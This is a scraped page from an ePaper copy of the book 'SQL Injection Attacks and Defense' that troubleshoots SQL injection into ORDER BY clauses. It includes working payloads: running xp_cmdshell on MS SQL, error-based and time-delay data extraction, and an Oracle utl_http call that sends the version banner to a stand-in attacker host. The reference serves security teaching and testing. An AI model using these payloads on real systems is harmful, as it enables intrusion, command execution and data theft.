28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

444 Chapter 10 • References<br />

Table 10.20 Continued. Troubleshooting <strong>SQL</strong> <strong>Injection</strong> Reference<br />

Error/Challenge<br />

Your injected data is being<br />

placed to the right-h<strong>and</strong> side<br />

of an ORDER BY clause. Many<br />

of the usual tricks such as<br />

UNION SELECT will be<br />

unsuccessful.<br />

In this example, the following<br />

<strong>SQL</strong> query is being executed<br />

where the attacker’s data is<br />

your injection point:<br />

SELECT * FROM<br />

products GROUP BY<br />

attackers_data DESC<br />

Solution<br />

the execution of extended stored procedures,<br />

can be conducted in this way.<br />

ORDER BY 1; EXEC master..xp_cmdshell<br />

'cmd'<br />

Microsoft <strong>SQL</strong> Server can also be exploited<br />

to return query result data via error messages.<br />

When injecting into an ORDER BY clause the<br />

following syntax can be used:<br />

ORDER BY (1/(@@version));<br />

-- return the version<br />

ORDER BY 1/(SELECT TOP 1 name FROM<br />

sysobjects WHERE xtype='U');<br />

-- Return name from sysobjects<br />

My<strong>SQL</strong> Server<br />

Time-delay-based blind <strong>SQL</strong> injection<br />

techniques can be used within an ORDER BY<br />

clause. The following example will trigger<br />

a time delay if the current user is root@<br />

localhost:<br />

ORDER BY(IF((SELECT user()=<br />

'root@localhost'),sleep(2),1));<br />

Oracle<br />

The utl_http package can be used to<br />

establish outbound HTTP connections over<br />

any Transmission Control Protocol (TCP) port<br />

of the attacker’s choosing. The following<br />

ORDER BY clause establishes an HTTP<br />

connection over port 1000 to the host<br />

attacker; the HTTP request contains the<br />

Oracle version banner within the request<br />

path:<br />

ORDER BY utl_http.request('http://attacker:<br />

1000/'||( SELECT<br />

banner FROM v$version WHERE<br />

rownum=1))<br />

The following ORDER BY clause will raise an<br />

error containing the Oracle version banner:<br />

ORDER BY utl_inaddr.get_host_name<br />

((select banner from v$version where<br />

rownum=1))<br />

Continued

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!